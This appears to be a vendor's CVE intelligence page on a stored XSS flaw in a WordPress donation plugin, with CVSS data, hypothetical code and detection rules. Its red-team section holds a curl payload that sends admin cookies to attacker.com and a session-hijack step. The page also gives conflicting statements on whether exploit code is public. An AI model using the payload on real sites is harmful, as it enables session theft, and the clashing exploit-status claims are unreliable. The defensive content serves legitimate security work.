☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Saul morales pacheco logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-862
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-23656

CVE-2025-23656 Cross-Site Scripting in Saul morales pacheco
📅 PUBLISHED: 2025-01-27 15:15 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.15%
👁️
0.15% probability
3.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-23656 is a Missing Authorization vulnerability in the Donate visa WordPress plugin (versions <= 1.0.0) developed by Saul Morales Pacheco. The flaw allows an unauthenticated attacker to inject and store malicious scripts (Stored XSS) via the plugin's donation functionality. Since the plugin lacks proper authorization checks, any visitor can submit arbitrary data that gets stored and later executed in the context of an administrator's browser session. This can lead to session hijacking, defacement, or credential theft. The vulnerability is classified as Medium severity (CVSS 6.5) and currently has no known patch or public exploit code.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository. Users who have installed donate-visa version 1.0.0 or earlier are at risk. No patched version has been released, and the plugin may have been removed or abandoned. Organizations should treat this as a supply chain risk and remove the plugin immediately.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): Required (R) – Victim must visit the affected page.
  • Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited ability to modify data.
  • Availability (A): None (N) – No direct impact on availability.

CVSS Score: 6.5 (Medium)
Threat Level: Medium – Exploitation is straightforward but requires user interaction.

Deep Dive & Mechanics

The vulnerability resides in the Donate visa WordPress plugin, which provides a donation form for accepting Visa payments. The plugin fails to enforce proper authorization checks on its AJAX endpoints or form submission handlers. An attacker can craft a malicious donation request containing JavaScript payloads in fields such as donor_name, message, or amount. Because the plugin does not sanitize or validate these inputs before storing them in the WordPress database, the payload is persisted.

When an administrator views the donation history or dashboard page, the stored payload executes in their browser. This is a classic Stored Cross-Site Scripting (XSS) attack, exacerbated by the missing authorization – meaning no user role or capability check is performed before processing the request.

Attack Flow:

  1. Attacker identifies a WordPress site running donate-visa <= 1.0.0.
  2. Attacker submits a donation form with a malicious payload (e.g., <script>alert('XSS')</script>) in a text field.
  3. The plugin stores the payload in the wp_postmeta or custom table without sanitization.
  4. Administrator visits the "Donations" admin page.
  5. The payload executes, allowing the attacker to steal cookies, perform actions on behalf of the admin, or inject further malicious content.

Vulnerable vs. Patched Code

Since no patch is available, we can only analyze the vulnerable code pattern. The vulnerable plugin likely uses $_POST or $_REQUEST directly without calling sanitize_text_field() or wp_kses_post().

Vulnerable Code (hypothetical):

add_action('wp_ajax_nopriv_donate_visa_submit', 'handle_donation');
function handle_donation() {
    $donor_name = $_POST['donor_name'];
    // No authorization check
    // No sanitization
    update_post_meta($donation_id, 'donor_name', $donor_name);
}

Patched Code (hypothetical):

add_action('wp_ajax_nopriv_donate_visa_submit', 'handle_donation');
function handle_donation() {
    // Add nonce check for authorization
    if (!wp_verify_nonce($_POST['_wpnonce'], 'donate_visa_nonce')) {
        wp_die('Unauthorized');
    }
    // Sanitize input
    $donor_name = sanitize_text_field($_POST['donor_name']);
    update_post_meta($donation_id, 'donor_name', $donor_name);
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • Target WordPress site with donate-visa plugin version <= 1.0.0.
  • No authentication required.

Step 1: Identify the vulnerable endpoint. Use a browser or curl to find the donation form action. Typically, it will be wp-admin/admin-ajax.php with action donate_visa_submit.

Step 2: Craft the payload.

curl -X POST http://target.com/wp-admin/admin-ajax.php \
  -d "action=donate_visa_submit&donor_name=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>&amount=10&message=test"

Step 3: Wait for admin to visit the dashboard. The payload will execute, exfiltrating the admin's session cookie.

Step 4: Use the stolen cookie to hijack the session.

curl -H "Cookie: wordpress_logged_in_xxx=STOLEN_COOKIE" http://target.com/wp-admin/

Blue Team (Defense & Detection)

Detection:

  • Monitor for unusual POST requests to admin-ajax.php with action donate_visa_submit from unauthenticated users.
  • Look for script tags in donation-related fields in the database.

Prevention:

  • Immediately remove or disable the donate-visa plugin.
  • Implement a Web Application Firewall (WAF) rule to block requests containing <script> in donation fields.
  • Use Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

  • Network: POST requests to /wp-admin/admin-ajax.php with action=donate_visa_submit and suspicious parameters.
  • File: Presence of donate-visa plugin directory in /wp-content/plugins/donate-visa/.
  • Database: Entries in wp_postmeta with meta_key containing donor_name and meta_value containing <script> tags.
  • Logs: WordPress debug log entries showing unserialized or unsanitized input.

Detection Engineering

YARA Rule

rule Detect_Donate_Visa_XSS {
    meta:
        description = "Detects stored XSS payloads in Donate visa plugin"
        author = "Valters IT"
        date = "2025-04-01"
        reference = "CVE-2025-23656"
    strings:
        $xss_payload = /<script[^>]*>.*?<\/script>/is
        $plugin_path = "donate-visa"
    condition:
        $plugin_path and $xss_payload
}

Sigma Rule

title: Stored XSS via Donate Visa Plugin
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential stored XSS attempts targeting the Donate visa plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=donate_visa_submit'
        cs-uri-query|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate donation messages containing HTML (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-23656 Stored XSS in Donate Visa Plugin"; flow:to_server,established; content:"POST"; http_method; content:"admin-ajax.php"; http_uri; content:"action=donate_visa_submit"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Remove the plugin: Delete the donate-visa directory from /wp-content/plugins/.
  2. Scan for compromise: Check for unauthorized admin accounts, suspicious posts, or injected JavaScript.
  3. Rotate credentials: Change all WordPress admin passwords and application passwords.

Long-term Mitigation:

  • No patch available: Since the vendor has not released a fix, the plugin should be considered abandoned. Do not use it.
  • Alternative plugin: Use a well-maintained donation plugin like "GiveWP" or "WP Charitable".
  • Security hardening: Implement a WAF, enable CSP headers, and enforce input sanitization on all forms.

Valters IT Signature:

Valters IT
Senior DevSecOps Engineer
Cyber Threat Intelligence Expert
👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Donate visa"
http.html:"donate-visa"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-23656/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.